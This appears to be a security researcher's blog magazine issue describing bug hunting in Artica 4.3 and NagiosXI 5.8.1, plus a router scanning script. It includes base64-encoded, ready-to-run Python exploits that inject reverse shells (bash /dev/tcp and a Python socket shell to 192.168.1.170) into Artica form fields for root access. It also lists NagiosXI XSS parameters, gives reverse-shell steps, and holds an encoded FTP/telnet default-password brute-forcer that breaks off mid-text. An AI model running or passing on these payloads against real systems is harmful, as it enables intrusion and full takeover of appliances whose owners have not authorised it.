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Hello World 
Hi ;]  

„Long time no see” isn’t IT? In this part you’ll find 3 topics: 

First one is related hunting for so called webapp „0days” (few other similar cases you can find 

already described on the blog, ex. here or here). As a target app I decided to use latest Artica VM 

(4.3). 

Second is a similar topic but this time we’ll talk about bugs in NagiosXI 5.8.1 (relax – all of them are 

post-auth related ;)). 

Third topic is already publicly available but in this part I’ll talk more about the details and examples 

for automated router scanning. 

 

I hope you’ll find it useful... ;] 

 

Here we go! 

 

  

https://code610.blogspot.com/2020/03/creating-poc-for-preauth-symantec-web.html
https://code610.blogspot.com/2020/03/creating-poc-for-nagiosxi-0day.html


Contents 
Hello World ............................................................................................................................................. 1 

Hunting 0days with Artica 4.3 ................................................................................................................ 3 

Intro ..................................................................................................................................................... 4 

Environment ....................................................................................................................................... 4 

0day Sea’s On ...................................................................................................................................... 4 

Public examples ................................................................................................................................ 11 

References......................................................................................................................................... 12 

Hunting 0days with NagiosXI 5.8.1 ...................................................................................................... 13 

Intro ................................................................................................................................................... 14 

Environment ..................................................................................................................................... 14 

Quick ride .......................................................................................................................................... 15 

Postauth Reverse Shell ..................................................................................................................... 20 

References......................................................................................................................................... 22 

Extended Router Fuzzing and Scanning ............................................................................................... 23 

Intro ................................................................................................................................................... 24 

Environment ..................................................................................................................................... 24 

Few basics ......................................................................................................................................... 25 

To Knowledge ................................................................................................................................... 32 

References......................................................................................................................................... 34 

Outro ..................................................................................................................................................... 35 

 

 

 

 

 

 

 

 

 

 

 

 

 



Hunting 0days with Artica 4.3 
 

 

(16.02.2021 @ 17:44) 

  



Intro 
It’s been a while since I was looking for the bugs in Artica VM [1, 2] but also not so long time 

ago to not check it again. ;) Last version I tried [1, 2] was 4.26. Few days ago I downloaded „the 

latest” version - 4.30. Let’s see what we will find this time. Here we go... ;] 

Environment 
As I mentioned in the previous section I used VM appliance downloaded directly from the 

vendor’s resources [3]. To run it I used VirtualBox. As a second („attacker’s”) VM I used Kali Linux. 

When all is ready – we can jump directly to the next section where we’ll try to find the bug ;] Here we 

go!  

 

0day Sea’s On 
 

 

After a while with Burp proxy[4] and the browser I was able to spot few „interesting places” 

in the application. For example for one of them (similar to the Fortigate VM case described on the 

blog[5]) we can see some hints in the „log file” or „log viewer”, here we go: 

 

It’s always „interesting enough” (at least for me;)) to go forward and check it (if we have a source 

code of course but for this case – we can grab a full code of the WWW as well as config files and 

investigate them later). For now we should be here: 

https://code610.blogspot.com/2019/01/rce-in-artica.html
https://code610.blogspot.com/2020/03/rce-in-artica-426.html
https://code610.blogspot.com/2019/01/rce-in-artica.html
https://code610.blogspot.com/2020/03/rce-in-artica-426.html
https://www.articatech.com/download.php
https://code610.blogspot.com/2019/07/xss-in-dokuwiki.html
https://code610.blogspot.com/2019/09/crashing-fortigate-vm-621-httpd.html


 

Well, well, well... Should we help our target VM to find and resolve a proper proxy? ;> We’ll see... ;) 

Next – we are here: 

 

Hm. If I will ask you to not-protect-against-XSS-attacks a field in your form – which one would you 

choose? Isn’t that the password field? ;)  

Next? Let’s add a New Computer: 

 

I tried to configure an LDAP server too: 



 

In the (DB) history (available on the VM’s page) you can easily find your (persistent now) XSS 

payload;) Like this one: 

 

So far, so good. After an hour or so you should be able to spot multiple interesting places ready to be 

exploited. One of the possibility I found during my tests was to run commands on remote host as 

root. Below you will find the step-by-step story for one of the found cases: 

- initially[6], when I’m testing VM appliances like this one I’m trying to spot the part of the app 

related to system management. What does it mean for me? Any place in the app where user will 

‘run’ „commands” as remote (CLI) user (www-data/apache/root – whatever).  

- long story short: if any field on that page is „not filtered properly” (OWASP Top10 anyone?[7]) then 

it’s probably a game over. 

TL;DR: 

Remember our ‘unresolved proxy’? ;) Let’s get back to it. After a while of testing this-or-that payload 

with various delimiters and escape characters I decided to log in to the appliance (‘as root’ via CLI) 

and check what’s currently going on in the log files. This is what I found: 

https://code610.blogspot.com/p/found.html
https://owasp.org/www-project-top-ten/


 

\o/ 

So? ;] Let’s continue: now the case is to find a proper command we’ll be able to inject inside the 

(any?) request sent (later) by the appliance. Checking: 

 

Response looks promising: 

 

Bigger picture: 



 

Great. ;] Now it should be pretty easy to prepare an example proof-of-concept: 

 

To do that I decided to restart the VM (just to refresh and restart all the processes) and this is what I 

found: 

 

Well, looks like there is another request (used/sent by the appliance with our malformed 

HTTP_PROXY) but this time we’ll receive a ‘normal’ user’s shell. 



Let’s try one more. It’s time to Simulate a Request. Let’s do it! ;) 

 

Now we’ll use this tool to run reversed root-shell. Here we go: 

 

Looks like (already;)) done, isn’t it?  

Poc (you’ll need a reboot of the VM to get a shell): 



 

As you can see this simple script was generated using right-click from Burp Suite („Copy as a 

requests”): 

IyEvdXNyL2Jpbi9lbnYgcHl0aG9uCiMgMTYuMDIuMjAyMSBAIDAyOjI4CiMgYXJ0aWNhIDQuMy54 
IHBvc3RhdXRoIGxvY2FsIGNvbmZpZyBwb2lzb24gdG8gUkNFIDtTCiMgCmltcG9ydCByZXF1ZXN0 
cwoKYnVycDBfdXJsID0gImh0dHBzOi8vMTkyLjE2OC4xLjEwOjkwMDAvZncuZ2xvYmFsLnByb3h5 
LnBocCIKYnVycDBfY29va2llcyA9IHsiUEhQU0VTU0lEIjogIjgzNDlkMTk0YjEwN2I4NGU4MzJm 
YzlmNjllODhlOTY5IiwgImlvIjogIjExVENoSFZzSnN4RFAwUkVBQUF5IiwgIkFzV2ViU3RhdGlz 
dGljc0Nvb0tpZSI6ICIxIiwgInNoZWxsaW5hYm94Q29vS2llIjogIjEifQpidXJwMF9oZWFkZXJz 
ID0geyJVc2VyLUFnZW50IjogIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4 
NjQ7IHJ2OjgyLjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvODIuMCIsICJBY2NlcHQiOiAiKi8q 
IiwgIkFjY2VwdC1MYW5ndWFnZSI6ICJwbCxlbi1VUztxPTAuNyxlbjtxPTAuMyIsICJBY2NlcHQt 
RW5jb2RpbmciOiAiZ3ppcCwgZGVmbGF0ZSIsICJPcmlnaW4iOiAiaHR0cHM6Ly8xOTIuMTY4LjEu 
MTA6OTAwMCIsICJDb25uZWN0aW9uIjogImNsb3NlIiwgIlJlZmVyZXIiOiAiaHR0cHM6Ly8xOTIu 
MTY4LjEuMTA6OTAwMC9nbG9iYWwtcHJveHkiLCAiQ29udGVudC1UeXBlIjogImFwcGxpY2F0aW9u 
L3gtd3d3LWZvcm0tdXJsZW5jb2RlZCJ9CmJ1cnAwX2RhdGEgPSB7IkFydGljYVByb3h5U2VydmVy 
RW5hYmxlZCI6ICIxIiwgIkFydGljYVByb3h5U2VydmVyTmFtZSI6ICJhJTI2JTI2YmFzaCUyMC1p 
JTIwJTNFJTI2JTIwJTJGZGV2JTJGdGNwJTJGMTkyLjE2OC4xLjE3MCUyRjQ0MyUyMDAlM0UlMjYx 
JTI2JTI2aWQlMjYlMjYiLCAiQXJ0aWNhUHJveHlTZXJ2ZXJQb3J0IjogIjMxMjgiLCAiQXJ0aWNh 
UHJveHlTZXJ2ZXJVc2VybmFtZSI6ICJhJTI2JTI2YmFzaCUyMC1pJTIwJTNFJTI2JTIwJTJGZGV2 
JTJGdGNwJTJGMTkyLjE2OC4xLjE3MCUyRjQ0MyUyMDAlM0UlMjYxJTI2JTI2aWQlMjYlMjYiLCAi 
QXJ0aWNhUHJveHlTZXJ2ZXJVc2VyUGFzc3dvcmQiOiAiYSUyNiUyNmJhc2glMjAtaSUyMCUzRSUy 
NiUyMCUyRmRldiUyRnRjcCUyRjE5Mi4xNjguMS4xNzAlMkY0NDMlMjAwJTNFJTI2MSUyMyIsICJO 
b0NoZWNrU3F1aWQiOiAiMCIsICJDdXJsVXNlckFnZW50IjogImElMjYlMjZ0ZWxuZXQlMjAxOTIu 
MTY4LjEuMTcwJTIwNDQzJTI2JTI2aWQlM0Vwd2Rwd2QxMjMlMjMiLCAiV2dldEJpbmRJcEFkZHJl 
c3MiOiAnJ30KcmVxdWVzdHMucG9zdChidXJwMF91cmwsIGhlYWRlcnM9YnVycDBfaGVhZGVycywg 
Y29va2llcz1idXJwMF9jb29raWVzLCBkYXRhPWJ1cnAwX2RhdGEsIHZlcmlmeT1GYWxzZSkKCgo= 

 

But I believe you’d also like to check (only in your own local LAB environment) this one too: 

aW1wb3J0IHJlcXVlc3RzCgpidXJwMF91cmwgPSAiaHR0cHM6Ly8xOTIuMTY4LjEuMTA6OTAwMC9m 
dy5jdXJsLnBocCIKYnVycDBfY29va2llcyA9IHsiUEhQU0VTU0lEIjogIjkxMmZlZTA3NmUzNzMw 
ZjExZjUxYjliMjA4YTg1MWI1IiwgIkFzV2ViU3RhdGlzdGljc0Nvb0tpZSI6ICIxIiwgInNoZWxs 
aW5hYm94Q29vS2llIjogIjEiLCAiaW8iOiAiei1NRnZTMndHemVpWDdRZEFBQUYifQpidXJwMF9o 
ZWFkZXJzID0geyJVc2VyLUFnZW50IjogIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdp 
bjY0OyB4NjQ7IHJ2OjgyLjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvODIuMCIsICJBY2NlcHQi 
OiAiKi8qIiwgIkFjY2VwdC1MYW5ndWFnZSI6ICJwbCxlbi1VUztxPTAuNyxlbjtxPTAuMyIsICJB 
Y2NlcHQtRW5jb2RpbmciOiAiZ3ppcCwgZGVmbGF0ZSIsICJDb250ZW50LVR5cGUiOiAiYXBwbGlj 
YXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIiwgIk9yaWdpbiI6ICJodHRwczovLzE5Mi4xNjgu 
MS4xMDo5MDAwIiwgIkNvbm5lY3Rpb24iOiAiY2xvc2UiLCAiUmVmZXJlciI6ICJodHRwczovLzE5 
Mi4xNjguMS4xMDo5MDAwL3N1cHBvcnQifQpidXJwMF9kYXRhID0geyJVUkwiOiAiaHR0cCUzQSUy 
RiUyRnJhcC5uYWR6aWUubG5pJTJGYSUyMiUzQmVjaG8lMjBjSGwwYUc5dUlDMWpJQ2RwYlhCdmNu 
UWdjMjlqYTJWMExITjFZbkJ5YjJObGMzTXNiM003Y3oxemIyTnJaWFF1YzI5amEyVjBLSE52WTJ0 
bGRDNUJSbDlKVGtWVUxITnZZMnRsZEM1VFQwTkxYMU5VVWtWQlRTazdjeTVqYjI1dVpXTjBLQ2dp 
TVRreUxqRTJPQzR4TGpFM01DSXNORFF6S1NrN2IzTXVaSFZ3TWloekxtWnBiR1Z1YnlncExEQXBP 
eUJ2Y3k1a2RYQXlLSE11Wm1sc1pXNXZLQ2tzTVNrN2IzTXVaSFZ3TWloekxtWnBiR1Z1YnlncExE 
SXBPMmx0Y0c5eWRDQndkSGs3SUhCMGVTNXpjR0YzYmlnaUwySnBiaTlpWVhOb0lpa25DZyUzRCUz 
RCU3Q2Jhc2U2NCUyMC1kJTdDc2glM0IlMjMiLCAiVVNFUkFHRU5UIjogIk1vemlsbGElMkY1Lml0 
ZWxuZXQlMjAxOTIuMTY4LjEuMTcwJTIwNDQzMCUyMFdpbmRvYWF0ZWxuZXQlMjAxOTIuMTY4LjEu 
MTcwJTIwNDQzaWRyZW93cyUyME5UJTIwMTAuMCUyMFdpbjY0JTIweDY0JTIwcnYlM0E4MC4wJTIw 
R2Vja28lMkYyMDEwMDEwMSUyMEZpcmVmb3glMkY4MC4wIiwgIkFDQ0VQVExBTkciOiAiZnIlMkNm 
ci1GUnElM0QwLjglMkNlaXRlbG5ldCUyMDE5Mi4xNjguMS4xNzAlMjA0NDNuLVVTcSUzRDAuNSUy 
Q2VucSUzRDAuMyIsICJBQ0NFUFRFTkNPRElORyI6ICJnemlwJTJDJTIwZGl0ZWxuZXQlMjAxOTIu 
MTY4LjEuMTcwJTIwNDQzZWZsYXRlJTJDJTIwYnIiLCAiQUNDRVBUTEFORyI6ICJmciUyQ2ZyLUZS 
cSUzRDAuOCUyQ2VpdGVsbmV0JTIwMTkyLjE2OC4xLjE3MCUyMDQ0M24tVVNxJTNEMC41JTJDZW5x 
JTNEMC4zIiwgIkNPTk5FQ1RJT04iOiAia2VlcC1hbGl2ZSIsICJSRUZFUkVSIjogImh0dHBzJTNB 
JTJGJTJGd2l0ZWxuZXQlMjAxOTIuMTY4LjEuMTcwJTIwNDQzJTJGaW5kdXN0cmllcyUyRmJhbmtp 
bmctZmluYW5jaWFsLW1hcmtldHMlM0ZsbmslM0RocG1wc19idWlubG5rMiUzRGxlYXJuIiwgIlhG 
T1JXQVJERURGT1IiOiAiMTAuMC4yLjIiLCAiSU5URVJGQUNFIjogJycsICJMT0NBTF9QUk9YWSI6 
ICIwIiwgIlJFTU9URV9QUk9YWSI6ICcnLCAiUkVNT1RFX1BST1hZX1BPUlQiOiAnJ30KcmVxdWVz 
dHMucG9zdChidXJwMF91cmwsIGhlYWRlcnM9YnVycDBfaGVhZGVycywgY29va2llcz1idXJwMF9j 
b29raWVzLCBkYXRhPWJ1cnAwX2RhdGEsIHZlcmlmeT1GYWxzZSkK 

 

In (authorized) the „best scenario” you should receive a shell without any need to restart the VM. 

  



Public examples 
In the meantime (when I was looking for any CVEs/github/public-info about the bug(s) I 

found – just to avoid the duplicates) I found that there are already few publicly known CVEs for this 

version of Artica (4.3). For example: 

 

So – it looks like in case of a succesfully (SQLi) attack – pentester is able to grab a reverse rootshell.  

Would you like to change locale...? Give IT a try, ;> 

 

I see that we’ll have a few more here: 

 

Looks like it’s done. ;] 
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Hunting 0days with NagiosXI 5.8.1 
 

 

(12.02.2012 @ 23:34) 

  



Intro 
Some time ago [1 ,2] I was testing NagiosXI and few days ago I decided to check it again. I 

believe from time to time it’s always good to hunt for some (even easy) ‘0days’... So? ;] This time the 

version I tried is described as ‘the latest one’ again (means: 5.8.1). Let’s see... 

Environment 
This time [2] I downloaded VM (5.8.1) and started it together with Kali VM (just in case I’ll 

need a netcat listener).  

When all is prepared properly – we should be somewhere here: 

 

Here we go!  

https://code610.blogspot.com/2018/04/few-bugs-in-latest-nagios-xi-5413.html
https://code610.blogspot.com/2020/03/creating-poc-for-nagiosxi-0day.html
https://code610.blogspot.com/2020/03/creating-poc-for-nagiosxi-0day.html


 

Quick ride 
*TL;DR ;] 

Let’s jump directly to XSS bugs we can easily find during our little investigation ;] First one: 

 In managebackups.php, param(s): ftp[lastrun]: 

 

Our payload is clearly ‘visible’ in the response:

 

‘Show response in browser’ – is presented below:

 

Next one - /scheduledbackups/ajaxcalls.php, param: ssh[server]: 



 

Looks like there is unfiltered error message: 

 

Some local path disclosure bug if you’d like to: 

 

Content of the file is presented below: 

 

Next one is another XSS this time in /admin/components.php and params: instances[0][name], 

instances[0][api_key]: 

 

Results presented below: 



 

More here: 

 

Similar results for the api_key – see below: 

 

Another XSS was found in /includes/components/nrdsconfigmanager/nrdsconfigmanager.php for 

param: dir: 



 

As we can see in error message – there is no such file ;) 

 

Ok, let’s jump to the next one XSS this time located in /admin/mailsettings.php in param 

main_inbound_replyto: 

 

Our new settings you can check on the screen below: 

 



 

I believe it’s enough for a start. Quick summary you’ll find in the table below:  

* TL;DR: 

Path Param Bug type 
managebackups.php ftp[lastrun] XSS 

scheduledbackups/ajaxcalls.php  ssh[server] XSS 

admin/mibs.php file FPD 

admin/components.php instances[0][name] XSS 

admin/components.php instances[0][api_key] XSS 

nrdsconfigmanager/nrdsconfigmanager.php dir XSS 

admin/mailsettings.php main_inbound_replyto XSS 

 

Keep in mind that all of them were found using ‘only a blackbox approach’ (during day or two of 

manual pentesting). I hope you’ll look in the source for more details... ;] 

Maybe you’ll find it useful. 

 

 

  



Postauth Reverse Shell 
(Just in case you still want a revshell;)) this is pretty simple when you already grabbed the 

password – just prepare a simple (ex. bash-)oneliner and upload it as new ‘Module’ for your 

NagiosXI: 

 

Next step is to add a new command, like this one: 

 

Remember to Apply Configuration to continue: 

 

Are you ready? ;] 



 

Finish it with Run Check Command – it should be enough: 

 

Have fun! ;] 

 

 

 

 

  



References 
Below you’ll find the list of links/resources I found interesting: 

1 - https://code610.blogspot.com/2018/04/few-bugs-in-latest-nagios-xi-5413.html  

2 - https://code610.blogspot.com/2020/03/creating-poc-for-nagiosxi-0day.html  

3 - https://www.nagios.com/downloads/nagios-xi/vmware/  

4 - https://code610.blogspot.com/p/found.html  

5 - https://code610.blogspot.com/p/notes-magazine.html   

https://code610.blogspot.com/2018/04/few-bugs-in-latest-nagios-xi-5413.html
https://code610.blogspot.com/2020/03/creating-poc-for-nagiosxi-0day.html
https://www.nagios.com/downloads/nagios-xi/vmware/
https://code610.blogspot.com/p/found.html
https://code610.blogspot.com/p/notes-magazine.html


Extended Router Fuzzing and Scanning 
 

 

(08.02.2021 @ 22:22) 

  



Intro 
 In last „Notes Magazine” (#05)[1] we talked a bit about how can we automate the fuzzing or 

scanning process during our pentesting adventures[2]. One of the obvious ways to do it is to create a 

simple script that will „do the whole job for us”.  

 ...and this was the subject of one of the videos already available on my YouTube channel[3] 

(you’ll find them some intros/demos and/or quick tutorials related to IT security). One of the very 

first video was related to ‘Fuzzing ActivePresenter’[4]. 

 Today we’ll stay with routers and IoT appliances so let’s jump to the environment I used (and 

mentioned in the video[3]). Here we go. 

 

Environment 
TL;DR – let’s run the Ubuntu VM and/or Kali VM – your choice. This time I used Kali VM (just 

to keep in mind that maybe we’ll use some of the tools already installed on the VM like gobuster or 

dirb or nmap). 

After a while we should be here: 

 

Let’s go directly to the very first scenario. ;] 

  

https://code610.blogspot.com/2021/02/code16-notes-magazine-05.html
https://code610.blogspot.com/p/mini-arts.html
https://youtu.be/hCHZVY_Fveo
https://code610.blogspot.com/2021/01/crashing-activepresenter.html
https://youtu.be/hCHZVY_Fveo


Few basics 
Let’s assume that we found a router/IoT-box with some IP (ex. 1.2.3.4) during our 

scan/pentest. Our (‘example’) output looks like this[5] one presented below (don’t worry, later we’ll 

extend it a little bit;)):  

 

As you can see (in the video) I added a telnetd service to the Ubuntu VM I used: 

 

If you „don’t have a router to scan with nmap” to get your own ‘logs’ – let’s assume that we’ll 

have a 21,22,23 and 80 or 443 TCP port(s) open: 

 

For now we should be somewhere here: 

https://www.youtube.com/watch?v=hbTa5K5B2PE


 

(Just in case ;)) Checking the source from the video[5]: 

 

And: 

 

Ok – „let’s say”... ;] (Error messages as well as beautifying the code – I will leave for you as an 

exercise;)). Continuing: 

https://www.youtube.com/watch?v=hbTa5K5B2PE


 

Checking (the same) with Ubuntu VM: 

 

So I believe at this stage we can stay with Ubuntu VM ;) Next: for me the case looks like th(e 

similar described here[6, 7])is: grep nmap logfile for open ports and create a quick-script to try ‘few 

checks’ (like infodisclo via http services, passwords easy to guess, and so on...). So for now – 

according to the skeleton - we should be somewhere here: 

https://code610.blogspot.com/2019/05/lazy-enlil.html
https://code610.blogspot.com/2019/06/few-more-quick-tests.html


 

Good. Next we need to clean the ‘portlist’ we can grab after the initial nmap scan. Let’s try this: we’ll 

rewrite a bit the readMe() function. See below: 

 

As we already have a ‘logfile’ we can #comment this line to save some time during our little research. 

Checking: 



 

Ok – for a skeleton-version – it looks good (enough to continue). So? Next: let’s try to attach our 

super-telnet-bruteforcer to the main_py script ;] We should be somewhere here: 

 

Cool. Initial poc for the very first step(s) is ‘ready’ (read: as a skeleton ;)) so we can continue below 

with next TCP port (and RTFM): 

 



Nice – we already have a half of the job done simply by using the code from the manual(s). Let’s 

modify it like we did for telnet port – we’ll not „brute force” it but we’ll use „few default” login:pass 

pairs. Here we go: 

 

Checking: 

 

Good. Next: 

 

So far - looks fine ;] Let’s move forward to another port – HTTP. I decided to not focus on 

enumeration and grabbing any possible directory/file location (btw it could kill the router/IoT as well 

as too-hard-nmap-scanning (so yep, you’ll have your fuzzing scenario but in the very same way you 

can crash the target box – be careful here or use your debugger to investigate/reverse the bugs) ;)). I 

decided to take a look only for the public resources (like Exploit-DB) to find some poc(s) for this-or-

that appliance. For now we should be somewhere here: 

c@u18:~/src/fuzz$ grep http logz/127.0.0.1.log | grep tcp 
80/tcp   open  http       syn-ack Apache httpd 2.4.29 ((Ubuntu)) 
443/tcp  open  ssl/https syn-ack gws 
c@u18:~/src/fuzz$ 

 



As you can see we have 2 ‘http related’ ports opened. Let’s prepare our script for that kind of 

scenarios[8].  

 

Here we go... 

  

https://code610.blogspot.com/p/notes-magazine.html


To Knowledge 
 

 

Step-by-step: 

 

Let’s jump here: 

 

I believe you got the idea. ;] 



More: 
IyEvdXNyL2Jpbi9lbnYgcHl0a G9uCiMgZnVycnl fd2FsbC5w eQojCiMgdmlhI CdnZXQga GltIHRv 
IHRoZSBncmVlaycKIyAKa W1wb3J0IHNvY2tldCwgc3lzCmltcG9ydCByZSwgcmVxdWVzdHMKa W1w 

b3J0IHN1Y nBy b2Nl c3MKa W1wb3J0I HRlbG5ldG xpYg pmcm9tIGZ0 cG xpYiBpbXBvcnQg RlRQCg oj 

IGRlZml uZXMKdGFyZ2V0ID0g c3lzLmFyZ3ZbMV0 KbG9 neiA9ICcuL2 xvZ3ovJwoKIyMjIyMjIyMj 

IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBmdHAKZGV mIGZvdW5kXzI xKH Rhcmdl 

dCk6CiAgcHdkbGl zdCA 9IFsnY WRtaW4xJywnYWRtaW4yJywnYWRtaW4 nXQogIGZ0 cHVzZXI 9J2Fk 
bWluJwogIH ByaW50 ICdbK1 0gY2hlY2t pbmcgZnRwXCdzIH Bhc3 N3ZHMgZm9yICIl cyIgdXNl cjon 

ICUgKCBmdH B1 c2VyICkgCgogI GZvciBw d2Qga W4gcHdkbGl zdD oKICAgI GZ0cCA9IEZUUCh0 YXJn 

ZXQsIH RpbWVvdXQ9MikKI CAgIHRyeT oKI CAgICAgZnRw LmxvZ2luKCBmdHB1c2VyLCBw d2 QpCiAg 

ICAgIGZ0cC5kaXI oKSAKICAgI CAgZnRw LnF1aXQoKQogICAgI CBw cml udCA nWytdICAgY2 9ycmVj 

dCBwY XNzd29yZCBmb3IgJXMg dXNl ciB2a WEgZnRwIGlzI CVzJyAlICggZnRwdXNlciwg cHdkI CkK 

CiAgICBleG NlcHQg RXhjZXB0a W9uOgogI CAgICBw cmludCAnWy1 dIHRpbWVvdXQg b3Igd3Jvbmcg 
cGFzc3dkIDo8JwogICAgICBwYXNzCg ogIHBya W50I CdbK10gZnRwIG1vZHVsZSAtIGZpbml zaGVk 

XG4nCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKZGV mIGZv 

dW5kXzIzKH RhcmdldCk6CiAgIyBwb3J0OjIzL3 RjcCBmb3V uZCwgY2hlY 2tpbmcKICBwcmludCAn 

ICAgIEkgc2VlIHBv cnQgMjMvdG NwIG9wZW4gZm9yIH RhcmdldD ogJXMnI CUgKCB0 YXJnZXQgKSAK 

ICBw cml udCA nICAgIG NoZWNraW5 nLi4 uJwoKICAjSE9TV CA9ICJsb2NhbG hvc3 QiCiAgdXNlciA9 
ICdhZG 1pbi cgIyBpbnB1dCgiRW50ZXIg eW91 ciByZW1vdGUgY WNj b3VudD ogIikKICBwd2Rsa XN0 

ID0gWydhZG 1pbj EnLCdhZG1pbjInLCdhZG1 pbjM nLCdhZG 1pbi ddCiAgI3Bhc3 N3b3JkID0gJ2Fk 

bWluJyAjIGdldHBhc3M uZ2V0cGFzcygpCgogIGZv ciBwYXNzd29yZCBpbi Bwd2 RsaXN0Og ogICAg 

dHJ5OgogI CAgICB0biA9IH RlbG5ldG xpYi5 UZWxuZXQodGFyZ2V0LH RpbWVvdXQ9MykKCiAgICAg 

IHRuLnJlYWRfdW50a WwoYiJsb2dpbjogIikKI CAgICAgdG 4ud3JpdG UodXNl ci5lbmNvZGUoJ2Fz 

Y2lpJykgKyBiIlxuIikKI CAgICAgaWYg cGFzc3dv cmQ6 CiAgICAgICAgICB0 bi5yZWFkX3VudGls 
KGIiUGFzc3dv cmQ6I CIpCiAgICAgICAgICB0 bi53cml0ZShwY XNzd29yZC5lbmNvZGUoJ2FzY2lp 

JykgKyBiIlxuIikKCiAgICAgI CAgICB0bi5 3cml0ZShiI mRhdG U+L3 RtcC95MDEyM 1xuIikKICAg 

ICAgICAgIHRuLndyaXRlKGIiZXhpdFxuIikKCiAgICAgIH ByaW50 KHRuLnJlYWRfYWxsKCkuZGVj 

b2RlKCdhc2 NpaScpKQogI CAgICB0bi5j bG9zZSgpCiAgICBleGNl cHQg c29ja 2V0LnRpbWVvdXQ6 

CiAgICAgIHByaW50ICd3 cm9 uZyBwYXNzL3RpbWVvdXQnCiAgICAgIH Bhc3MKCiAgI3Bya W50I Cdk 
b25lJwogIHBya W50I CcgI CAgWytdIH RlbG5l dC1ja GVjayAtIGZpbml zaGVkLicKCiMjIyMjIyMj 

IyMjIyMjIyMjIyMKZGVmIH NjYW5 NZUZpcnN0KH RhcmdldCk6 CiAgcHJpbnQgJ1srXSBzY2Fubmlu 

ZyB0YXJnZXQ6ICVzJyAlICggdGFyZ2V0ICkgCiAgI2V4ZSA9ICdubWFwIC1 zViAtdnZ2IC1GIC0t 

bWF4LXJldHJpZXMgMSAtLW1pbi1yYXRlI DEyMCAtUG4gJyArIHRhcmdl dCArICcgLW9OI Ccg KyBs 

b2d6I CsgdGFyZ2V0ICsgJy5sb2 cnCiAgI3N1Y nBy b2Nl c3MuY 2FsbChbI GV4ZSBdLCBzaGVsbD1U 
cnVlKQoKI CBw cml udCAnXG 5bK1 0gbG9va3 MgbGlrZSBubWFwIH NjYW4gaXMgZml uaXNoZWQuIG xl 

dFwncyBncmVwIHRoZSBsb2cgZ mlsZS4uLicKCiAgIyBnb3 RvOiBzdGVwMg oKIyMjIyMjIyMjIyMj 

IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKZGVmIHJlYWRNZSh0Y XJnZXQpOgogIH By 

aW50ICdbK10gcmVhZGl uZyBzY2F uIG xvZyBma Wxl OicKI CBsb2 dmI D0gbG 9neiArIH RhcmdldCAr 

ICcubG9 nJwogIGZwID0g b3Bl bihsb2dmLCAnci cpCiAgbGluZ XMgPSBmcC5yZWFkbGl uZXM oKQog 

IHBvcnRzX3Rt cCA9I GxvZ3og KyAndG 1wX3 BvcnRzJwogIG 9wZW5 fdG1w ID0gb3 Blbi hwb3J0c190 
bXAsICd3JykgIAoKCiAgZm9yIGxpbmUgaW4gbGl uZXM6 CiAgICBmaW5kX3Bv cnQgPSByZS5jb21w 

aWxlKCcoLio/KS90Y 3AnKQogI CAgZm91 bmRfcG9y dCA9IHJlLnNlYXJja ChmaW5kX3BvcnQsIG xp 

bmUpCg ogICAgaWYg bGluZS5 maW5kKCdzc2wvaH R0cHMnKSA hPSAtMTogCiAgICAgI CMgcG9zc2li 

bGUgaH R0cChzKSBw b3J0IHRvI GNoZ WNrOyAjdG9kbwogI CAgICBzc2xfbG9neiA9I GxvZ3og KyAn 

dG1wX2 h0dHBzJwogI CAgICBmcHNzbCA9IG9wZW4oc3NsX2 xvZ3osJ3 cnKQogI CAgICBmcHNzbC53 

cml0ZShmb3VuZF9wb3J0 Lmdyb3VwKDE pKQogICAgI CBmcHNzbC5j bG9 zZSgpCgogI CAgaWYgZ m91 

bmRfcG9ydD oKI CAgICAgcHJpbnQgJyAgLT4gb3 BlbiBw b3J0OiAl cycgJSAoIGZvdW5kX3Bv cnQu 

Z3JvdXAoMSkgKSAKICAgICAgb3Blbl 90bXAud3JpdGUoZm91bmRfcG9ydC5ncm9 1cCgxKSArICdc 

bicpCgogIH ByaW50I CdbK10g cmVhZGluZyBsb2 cgZmlsZSAtIGZpbml zaGVkLicKICBwcmludCAn 

JyAjIGdvdG86IH BhcnNpbmcoKQogIGZw LmNsb3NlKCkKICBvcGVuX3 RtcC5j bG9 zZSgpCiAgcGFy 
c2luZyhwb3J0c1 90bXA pCgoKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj 

IyMjIyMjIyMjIwpkZWYgcGFyc2luZyhwb3J0c19 0bXA pOgogI CMgSSBob3 BlIHlvdSBrbm9 3IHdo 

YXQgeW91IH dhbm5 hIGRv LiBhbmQgSSBiZ WxpZXZlIHlvdSBr bm9 3IH RoYXQga2FybWEgCiAgIyB3 

aWxsI GZpbmQgeW91 IGlmIHlvdSB3a WxsIHVzZSBpdCB0 byBoY XJtLiA7XSB1 c2 Ugb25 seSBpbiBs 

b2NhbGhv c3QuCiAgIyBmb3IgeW9 1ci Bvd24gY WNhZ GVtaWMvbGVhcm5pbmcv cmVzZ WFyY2gveW91 

bmFtZUlUY nV0c3 RpbGxsZWdhbCBwdXJwb3Nl cy4KI CBw cml udCA nWytdIH BhcnNpbmc6ICVzOlxu 
JyAlICggcG9ydHNfdG 1wICkgCg ogIAogIGZwID0g b3 Blbihwb3J0c1 90bXA sICdyJykKICBsa W5l 

cyA9IGZwLnJlYWRsa W5lcygpCgogIGZv ciBwb3J0IGluI GxpbmVzOgogI CAgcHJpbnQgJyAgLT4g 

Zm91bmQgcG 9ydDogJXM nICUgKCBwb3J0I CkgCiAgICBwcmludCAnI CAgIC0+I GNoZ WNraW5nI C4u 

LicKI CAgIHNzbF9sb2d6 ID0gbG 9neiArICd0bXBfaHR0cH MnCiAgI CBmaW5k c3NsID0gb3Blbi hz 

c2xfbG9neiwgJ3InKSAjIGlmI HRoZXJlJ3MgYW55IDta CgogICAgIy BjbGVhbiBwb3J0IG51 bWJl 
ciB0 byB1 c2UgaXQgY mVsb3 cgCiAgICBwb3J0I D0gcG 9ydC5zdHJpcCg pCgogI CAgaWYg cG9ydCA9 

